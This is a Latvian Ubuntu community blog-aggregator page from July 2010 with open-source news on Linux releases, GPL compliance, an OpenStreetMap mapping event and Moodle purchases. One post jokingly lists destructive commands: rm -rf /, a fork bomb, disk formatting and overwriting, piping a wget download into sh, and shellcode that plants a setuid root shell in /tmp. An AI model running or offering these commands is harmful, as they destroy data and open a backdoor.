29 Jul, 2010

lata.org.lv – Kas sagaida IT nozari nākamajos 4 gados?

lata.org.lv

Avots: lata.org.lv
Nezinu smieties vai raudāt, bet komentārs ir izcils un sens… Varbūt reizi nedēļā tomēr ir jāpaseko līdzi savai interneta vietnei?

Linux Mint 9 tagad arī KDE lietotājiem

Linux MintIlgu laiku viens no populārākajiem (informācija no distrowatch.com) darbstaciju Linux distributīviem Linux Mint bija pieejams tikai ar Gnome darba virsmu. Beidzot situācija ir mainījusies un tagad ir pieejama arī KDE versija.

KDE versijas apraksts:

  • KDE Network Manager (Plašas iespējas konfigurēt dažādas tīkla ierīces – Wired Ethernet Devices, Wireless Ethernet Devices, Mobile Broadband Devices, Virtual Private Network, Dial-Up, DSL);
  • Jauns pakotņu menedžeris (pilnībā pārstrādāts un kļuvis vēl efektīvāks, satur vairāk kā 30 000 programmatūras pakotnes);
  • Jauna rezerves kopēšanas un atjaunošanas  sistēma (izmaiņu kopēšanas iespēja, arhivēšana, integritātes pārbaude, vienkārša lietotāja saskarne);
  • Domāts par darba virsmas labu izskatu;
  • Uzlabots sistēmas ielādes ātrums;
  • Ilgtermiņa sistēmas atbalsts.

Nepieciešamie resursi:

  • x86 processor
  • 512 MB of system memory (RAM)
  • 5 GB of disk space for installation
  • Graphics card capable of 800×600 resolution
  • DVD drive or USB port

Lejupielāde:

Gnome 3.0 iznākšana atlikta uz 2011. gada martu

GnomePar Gnome 3.0 versijas iznākšanas atlikšanu tika paziņots GUADEC konferences norises laikā. Viens no galvenajiem iemesliem ir nepietiekami kvalitatīvs fināla versijas izejas kods.  Iespējams Gnome 3.0 fināla versiju varētu arī izlaist ātrāk, tomēr izstrādātāji lielu uzsvaru liek uz kvalitāti nevis precīziem termiņiem. Kā paziņojuši izstrādātāji, tad papildus seši mēneši ir pietiekams laiks, lai veiktu versijas kvalitatīvu testēšanu. Papildus tiek domāts arī par cilvēkiem ar īpašām vajadzībām, GNOME Shell un kopējās versijas dokumentācijas uzlabošanu.

Avots: www.gnome.org

28 Jul, 2010

Pieprasītākie Linux distributīvi tīmekļa servisa nodrošināšanai

w3techs.com ir publicējis savu pētījumu par populārākajiem Linux distributīviem, kas tiek izmantoti  interneta vietņu uzturēšanai. Pētījums veikts sākot ar  2009. gada 1. oktobri un grafiski tas izskatās šādi:
top linux web server

Planšetdatoru ražotājiem maz rūp GPL licences nosacījumi

Kā izrādās, tad lielākā daļa Android planšetdatoru ražotāju pārkāpj GPL licences nosacījumus. No astoņiem pētījumā apskatītajiem ražotājiem tikai divi izpilda licences nosacījumus. Visvairāk grēko Ķīnas ražotāji. Arī ASV ir gan labie  (Barnes & Noble), gan arī sliktie (Pandigital) piemēri. Eiropas pārstāvis (Archos) atbilst GPL licences prasībām.

Visvairāk ražotāji grēko ar izejas koda publiskošanu. Atsevišķos gadījumos tas pilnībā nav pieejams. Savukārt atsevišķi ražotāji piedāvā tikai daļu no  koda, vai arī tas ir pieejams tikai šauram lokam.

Avots:  projectgus.com

27 Jul, 2010

7 lieliski veidi kā konsolē piebeigt savu Linux

1. Code:
rm -rf /

2. Code:
char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */ =
“\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;
3. Code:

mkfs.ext3 /dev/sda

4. Code:

:( ){:|:&};:

5. Code:

any_command > /dev/sda

6. Code:

wget http://some_untrusted_source -O- | sh

7. Code:

mv /home/yourhomedirectory/* /dev/null

Šis vairāk humoram un nedaudz pamācība pilnīgam iesācējam. Unix sistēma root lietotājam dod maksimālas iespējas… Visu mēģinājis neesmu, bet 1. Code un 7. Code darbojas perfekti.

LiMo Foundation un GNOME Foundation noslēdz sadarbības līgumu

Mobilo ierīču Linux risinājumu izstrādātājs LiMo Foundation ir paziņojis par sadarbības līguma noslēgšanu ar vienu no populārākajiem Linux darba virsu izstrādātājiem GNOME Foundation. Viens no būtiskākajiem iemesliem šāda līguma noslēgšanai ir LiMo vēlme plašāk izmantot  Gnome tehnoloģijas savos komerciālajos produktos.

Avots: www.opennet.ru

26 Jul, 2010

Wordpress nolēmis cīnīties ar maksas tēmu un papildinājumu izstrādātājiem

Pēc konsultācijām ar juristiem Wordpress projekta autors Matt Mullenweg nolēmis uzsākt virkni pasākumu, kas sekmēšot produkta GPL licences noteikumu ievērošanu. Tā kā vārdiski brīdinājumi nepalīdzot, tad Matt Mullenweg pieļauj iespēju pret populārākajiem maksas tēmu izstrādātājiem  iesniegt prasību tiesā. Šādu nepatīkamu procesu var piedzīvot populārās tēmas “Thesis” izstrādātājs.

Arī viens no Wordpress izstrādātajiem Mark Jaquith savā interneta vietnē ir publicējis iemeslus, kāpēc projekta tēmas ir izplatāmas tikai ar GPL licences nosacījumiem.

Attiecībā uz maksas papildus spraudņiem un moduļiem Wordpress pagaidām nav tik kritisks. CSS, JavaScript arī turpmāk izstrādātāji varēs izplatīt ar saviem nosacījumiem. Savādākas domas ir saistībā ar PHP koda izmantošanu, kas, pēc Wordpress autoru domā, ir jāizplata ar GPL licences nosacījumiem.

Avots: www.opennet.ru

23 Jul, 2010

O’Reilly Open Source Awards 2010

OSCON (ASV) rīkotajā pasākumā tika pasniegti O’Reilly Open Source Awards 2010 apbalvojumi. Tos saņēma personas, kuras veikušas lielus ieguldījumus atvērtās programmatūras izstrādē  vai popularizēšanā. Šogad apbalvoti tika:

Jeremy Allison

Jeremy Allison - viens no Samba projekta vadītājiem un izstrādātājiem (vairāk kā 15 gadi). Viņš nodarbojas arī ar atvērtās programmatūras popularizēšanu un rūpējas par GPL licences noteikumu ievērošanu.

Deborah Bryant

Deborah Bryant - vairāk kā 10 gadus nodarbojas ar atvērtās programmatūras izplatīšanu ASV valsts pārvaldē.

Brad Fitzpatrick

Brad Fitzpatrick - livejournal.com izveidotājs, OpenID, Memcached, MogileFS autors.

Leslie Hawthorn

Leslie Hawthorn – Google Summer of Code projekta vadītāja, GNOME Advisory Board padomes locekle. Pateicoties viņas aktivitātēm atvērtajam kodam piesaistīti vairāki tūkstoši studentu.

Greg Stein

Greg Stein – viens no Apache Software Foundation projektu vadītājiem, kā arī nodarbojies ar programmēšanas valodas Python popularizēšanu.

Avots: www.oscon.com

22 Jul, 2010

Kartē atzīmējot Cēsis

Ir pagājusi vairāk nedēļa kopš pasākuma un gribējās padalīties iespaidos un pateikties visiem, kas bija ieradušies pirmajā nopietnajā OpenStreetMap Latvijas kopienas organizētajā kartes veidošanas pasākumā (jeb mapping party) Cēsīs. Lai arī tuss sanāca īsāks nekā plānots, tas "iestartēja" Cēsu kartēšanu ar pamatīgu jaudu - un par to liels prieks. Kopā bija ieradušies apmēram 10 cilvēki. Pasākuma sākumā vispirms iepazināmies ar šī brīža stāvokli Cēsīs, tad pieredzējušie kartētāji kā Ričards un Viesturs iepazīstināja visus ar pamatnoteikumiem un veidu, kā tiek vākta informācija par apkārtni - ielu nosaukumi, māju numuri, gājēju pārejas, ielu statuss, nogriešanās vai iebraukšanas liegumi, un protams - informācijas punkti (angliski zināmi kā POI - Point Of Interest). Jautājumu sesijas laikā man pašam radās atziņa, ka ir jāveido dokumentācija iesācējiem latviešu valodā, pēc kuras varētu viegli vadīties un viss nebūtu jāstāsta 100 reizes (turklāt katru reizi kaut ko piemirstot piebilst). Lai nu kā, pēc garām runām par tagošanu un komandu sektoru sadalīšanas ķērāmies pie darba. Pašai kartēšanai daudz laika neatvēlējām, taču pasākuma mērķis nebija vienā piegājienā pacelt visu iespējamo - Cēsīs ir divi aktīvi kartētāji Jānis un Kārlis, kuri ikdienas darbos garām staigājot izdarīs daudz vairāk - bet galvenokārt parādīt, kā tas viss notiek.

Mēs ar Viesturu izvēlējāmies paklaiņot pa Festivāla un Akmens ielu rajonu. Pārliecinājāmies, ka Cēsinieki ir kārtīgi pastrādājuši, zīmējot ielas un to nosaukumus - tādējādi vien atlika vērot apkārti, piefiksēt zonējumu, braukšanas ierobežojumus, ceļu virsmas un māju numurus un citus sīkumus. Šoreiz bijām apbruņojušies ar informatīvu materiālu, ja nāktos skaidroties ar kādu dusmīgu privātmājas saimnieku. Taču lai arī mūsu māju numuru fotografēšanu pavadīja domīgi skatieni, šoreiz bez tā iztikām. No otras puses, ar informāciju sagatavota šāda tikšanās var izvērsties arī pozitīvi, informējot cilvēkus par brīvi pieejamo un labojamo karti.

Tā kā citi bija ar divām vai četrām riepām zem sēžamvietas, apbraukātā un apstaigātā teritorija bija diezgan iespaidīga. Vēl arī jāpiezīmē, ka pirms pasākuma nopirkām no LĢIA ortfoto Cēsīm, Ikšķilei un Valmierai. Rezultātā mums nebija jāuztraucas tik daudz par GPS "treisu" precizitāti, kā par to esamību vispār - jo ir vietas, kur lidmašīnas fotoaparātu modrā acs vienkārši nevar izspiesties cauri (lielas meža takas, ceļi mežā, mājas, kas aizslēpušās aiz kupliem kokiem). Cilvēki arī izmēģināja "GPS + digitālais fotoaparāts" salikumu, un bija ļoti pārsteigti par JOSM redaktora spēju salikt fotogrāfijas tur, kur nepieciešams pēc GPS ceļa.

Pēc pusotras stundas aktīvas kartēšanas atgriezāmies norunātajā sākumpunktā pie Cēsu pils muzeja un devāmies uz Cēsīs manuprāt vienu no labākajām kafejnīcām 'Cafe Popular' apkopot iespaidus un rezultātus. Tā nu košļājot ļoti garšīgās picas demonstrējām izstaigātos ceļus un fotouzņēmumus. Galvenokārt parādījām, kā apstrādāt iegūtos datus, kā sasaistīt fotokameras pulksteni ar GPS laiku, pēc kā vadīties, tagojot datus, u.c. īstenu OSM kartētāju paņēmienus. Ir skaidrs, ka ar vienā šādā sesijā pilnīgi visu izskaidrot nav iespējams, bet cerams, ka tas deva iniciatīvu meklēt papildus informāciju.

Kopumā esmu apmierināts ar to, ko iespējām šajā pasākumā salīdzinoši īsā laikā. Arī priecē Cēsu kartētāju entuziasms un interese pašā procesā. Lai arī ik pa brīdim kopienā izskan protesti par ortfoto izmantošanu, jo tie gandē kartēšanas prieku, nepiekritīšu, jo ortfoto dod diezgan labu precizitāti "tam, kas tur lejā", bet nu galīgi nepasaka, kas "tas" tāds ir. Līdz ar to kartēšana ar kājām vai riteņiem izvēršas par interesantu faktu medīšanas spēli, un ievietotie dati kartē ir daudz uzticamāki, jo ir precīzāki, kas padara ar kājām veikto ģeogrāfisko datu "aptauju" daudz vērtīgāku.

Ceru nākošo pasākumu izvērst Ogrē, kas visticamāk notiks augusta pēdējās nedēļās. Sekojiet informācijai - un labu jums kartēšanu!

Google palielina atlīdzību Chrome kļūdu atradējiem

ChromeGoogle līdzīgi, kā nesen to izdarīja Mozilla, ir palielinājusi atlīdzību par Chrome kļūdu atrašanu. Nopietnu kritisku drošības kļūmju atrašanas gadījumā ir iespējams saņemt atlīdzību $3,133.7 apmērā. Mazāk nopietnu kļūmju atradējiem ir iespēja saņemt līdz $500.

Kā apgalvo Chrome izstrādātāji, tad šāda kļūdu atradēju prēmēšana ir bijusi veiksmīga. Tas ir motivējis lietotājus pētīt Chrome drošības problēmas un par tām ziņot izstrādātājam.

Avots: blog.chromium.org

21 Jul, 2010

Kubuntu meklē jaunu video atskaņotāju.

KDE izstrādātāji neesot lielā sajūsmā par Kaffeine 1.0. Un tapēc KDE izstrādātāji meklē jaunas alternatīvas. Un visatbilstošākais kandidāts ir VLC, jo to var kompilēt neizmantojot nonfree kodekus, kurus vēlāk pats lietotājs var pieinstalēt. Tātad nav nekādu problēmu ar licenzēšanu. Bet ir viens VLC mīnus. KDE izstrādātājiem nepatīk VLC izskats. Jo īpaši viņiem nepatīk kā tiek [...]

Iznāk FreeBSD 8.1

FreeBSDKlusām un bez skaļiem paziņojumiem iznāk FreeBSD 8.1. Oficiālajā vietnē www.freebsd.org pagaidām informācija nav ievietota, bet toties ftp.freebsd.org jau piedāvā lejupielādēt FreeBSD 8.1 RELEASE. Svarīgākais ieguvums noteikti būs sistēmas drošības atjauninājumi.

20 Jul, 2010

5 lieliskas bezmaksas studentu informācijas sistēmas

www.linuxlinks.com piedāvā piecu Linux bāzētu studentu informācijas sistēmu apskatu:

SchoolTool Common global school administration infrastructure
ClaSS Classroom information assistant and school management system
Open Admin for Schools Designed for elementary, K-12, and high schools
openSIS Rivals costly commercial alternatives
Online Grades and Attendance Allows K-12+ student grades to be posted onto a dynamic web site

Avots: www.linuxlinks.com

Par to cik tās ir piemērotas Latvijas situācijai es neņemos spriest, bet, ja kādam ir pietiekami daudz laika testēšanai un arī reāla nepieciešamība, tad lūdzu sniedziet savu konstruktīvo viedokli.

19 Jul, 2010

FSF vēlas vairāk atvērtā koda izstrādei piesaistīt daiļo dzimumu

Free Software Foundation (FSF) sieviešu frakcija ir izstrādājusi rekomendācijas, kas palīdzētu sievietēm vairāk iesaistīties FSF aktivitātēs.  Zemāk apkopotas dažas no svarīgākajām atziņām.
Traucējošie faktori:

  • uzskats, ka atvērtais kods ir tikai vīriešu lieta;
  • nav izteiktas līderes, kurai vēlētos līdzināties;
  • traucē nosacījums, ka nedrīksti kļūdīties;
  • netiek pienācīgi novērtēts ieguldītais darbs;
  • bieži sievietes jūtoties izolētas un kā “svešās”;
  • sievietes vairāk domā par finansēm…;
  • pretējais dzimums uzmācoties, kad notiek komunikācija internetā vai reālajā dzīvē.

Risinājumi:

  • Uzsvērt sieviešu lomu FSF;
  • Sievietēm vairāk vajadzētu nodarboties ar kadru jautājumiem un jauno dalībnieku apmācību. vairāk domāt par sadarbību nevis konkurenci…;
  • Veicināt jaunu sieviešu iesaisti FSF darbībā;

Sievietēm, kuras aktīvi piedalās FSF darbībā ir izveidota sava e-pasta sarakste. Mērķis ir veicināt savstarpējo komunikāciju.

Akcentēta tika arī jauniešu problēma, kad vecāko klašu skolniekiem ir laiks pievērsties jaunu lietu izpētei, bet savs potenciāls bieži vien netiek izmantots lietderīgi.

Avots: www.opennet.ru

Iznāk OpenSUSE 11.3

OpenSUSEZiņa par šo notikumu nāk ar nelielu nokavēšanos, jo vasara ievieš zināmas korekcijas… Oficiāli par to tika paziņots 4 dienas iepriekš (2010. gada 15. jūlijā). Pieejamas 32 un 64 bit versijas. OpenSUSE turpina tradīciju un piedāvā visas trīs populārākās darba virsmas (KDE, GNOME and Xfce). Vairāk iespējams uzzināt lejupielādējot un izmēģinot šo distributīvu.

Avots: news.opensuse.org

17 Jul, 2010

Izlaista OpenSUSE 11.3

OpenSUSE projekts 15. jūlijā ir izlaidis jaunāko operētājsistēmas versiju 32 un 64 bitu arhitektūrām - openSUSE 11.3.
Starp jaunumiem ir Linux kodols 2.6.34, BTRFS failsistēmas un nākamās paaudzes skārienjūtīgo ekrānu (kā HP TouchSmart) atbalsts. Jau pierastajām Gnome, KDE un Xfce darba vidēm nākusi klāt īpaši ekonomiskā LXDE vide. Pieejama arī instalācija netbook tīkla datoriem.
openSUSE Education grupa laidusi klajā OpenSUSE 11.3 atzaru ar nosaukumu Li-f-e (Linux for Education), kas satur izglītības iestādēm komplektētu programmatūru. Saturs ir līdzīgs Edubuntu atzaram.
Saites:
+ Oficiālais pieteikums
+ Pilns jaunumu saraksts
+ openSUSE-Edu Li-f-e projekts
+ OpenSUSE lejupielāde no Latvijas spoguļa, OpenSUSE Latvijas repozitorijs

Kas sagaida IT nozari nākamajos 4 gados?

2010.gada 14.jūlijā notika Latvijas atvērto tehnoloģiju asociācijas (LATA) un politisko partiju pārstāvju diskusija "Kas sagaida Informācijas Tehnoloģiju (IT) nozari nākamajos 4 gados?"
Tika aizskarti sekojoši jautājumi:
+ Vai IKT nozare ir prioritāra?
+ Kādas problēmas un risinājumi ir valsts pārvaldes IKT optimizēšanā?
+ Kvalitāti vai kvantitāti izvirzīt par IKT izglitības prioritāti, un kā uzlabot augstskolu sinerģiju ar nozari un zināšanu pārnesi ražošanā?
+ Un citi...

Vairāk informācijas:
+ LATA mājslapā - Diskusija: Kas sagaida Informācijas Tehnoloģiju (IT) nozari nākamajos 4 gados?
+ Jura Kažas videoblogs

16 Jul, 2010

Izglītības iestādes tērē lielu naudu bezmaksas programmatūras iegādēm

Neraugoties uz krīzi un kopējo finanšu līdzekļu trūkumu, valsts finansētas izglītības iestādes tērē vairākus desmitus tūkstošus latu, lai iegādātos bezmaksas atvērtā koda programmatūru “Moodle”, šodien raksta “Telegraf”.

Laikraksts gan norāda, ka tādās lielās mācību iestādēs kā Latvijas Universitāte, Rīgas tehniskā universitāte, Rīgas ekonomikas augstskola, Baltijas starptautiskā akadēmija, Transporta un sakaru institūts, “Turība” un ISM programmatūras “Moodle” pielāgošana nav ierakstīta budžetā, un tas veikts saviem spēkiem.

“Telegraf” norāda, ka viss sācies 2009.gadā, kad Nodarbinātības valsts aģentūra par 8800 latiem iegādājusies bezmaksas programmatūru “Moodle”. Savukārt Jāzepa Vītola Latvijas Mūzikas akadēmija tajā pašā gadā par šo programmatūru SIA “Lattelecom” meitasuzņēmumam “Baltijas datoru akadēmija” samaksājusi jau 56 980 latus.

Mūzikas akadēmijas pārstāvji laikrakstam gan norāda, ka “Moodle” ir tikai neliela daļa no visiem projekta pasākumiem – nepieciešama arī personāla apmācība, vides administrators, mācību materiālu izstrāde, kā arī sistēmas integrācija Latvijas Universitātes informācijas sistēmā.

Arī Valsts Kandavas lauksaimniecības tehnikums sistēmu iegādājies no “Baltijas datoru akadēmijas”, samaksājot 12 360 latus.

3.jūnijā konkursu par programmas iepirkumu izsludinājusi Aizkraukles vidusskola, un paredzētais iepirkuma apjoms sasniedz 39 250 latus. Arī šī projekta īstenotājs Andrejs Dembovskis laikrakstam norādījis, ka maksāts tiks ne tikai par programmatūru, bet arī tās apkalpošanu un darbinieku apmācību.

85% līdzekļu tiek finansēti no Eiropas Savienības fondu līdzekļiem, bet pārējie 15% – no valsts budžeta.

Kā norādīts “Moodle” mājaslapā, tā ir bezmaksas atvērtā koda kursu vadības sistēma, kas pazīstama arī kā mācību vadības sistēma vai virtuālā apmācību vide.

Avots: tvnet.lv

Juris Kaža: LATA diskusija ar politisko partiju pārstāvjiem par IT nākotni (videoblogs)

Latvijas Atvērto tehnoloģiju asociācija (LATA) 14. jūlijā rīkoja diskusiju par IT nozares nākotni, pieaicinot visu lielāko politisko partiju pārstāvjus. Man izdevās diskusijas, manuprāt, būtiskākās daļas nofilmēt. Video samontēju vēlas nakts karstuma, tādēļ ir dažas rakstības (Ģirts Lapiņs)  un tehniskas kļūdas – skaņa varēja būt labāka. Varbūt vienkārši uzgriezt atskaņotāju uz maksimālo. Montējot uz Macbook videologs iMovie ir tik maziņš, ka var nepamanīt kļūdas titros.  Ja sanāks laika nogalē, varbūt pārmontēšu un paņemšos ar skaņas pastiprināšanas iespējām.

Avots: blogi.nozare.lv


Atjaunots: 29 Jul, 2010 17:00 UTC

Ubuntu.lv planēta

Ubuntu.lv planēta ir Ubuntu Latvijas kopienas dalībnieku un citu aktīvistu rakstu par Ubuntu apkopojums.

Ubuntu.lv planētas RSS 2.0 barotne:

Barotnes


Draugi



Pievienojies

Ja vēlies pievienot savu žurnālu Ubuntu.lv planētai, tad sūti e-pastu uz adresi kaspars_._krampis_@_linux.edu.lv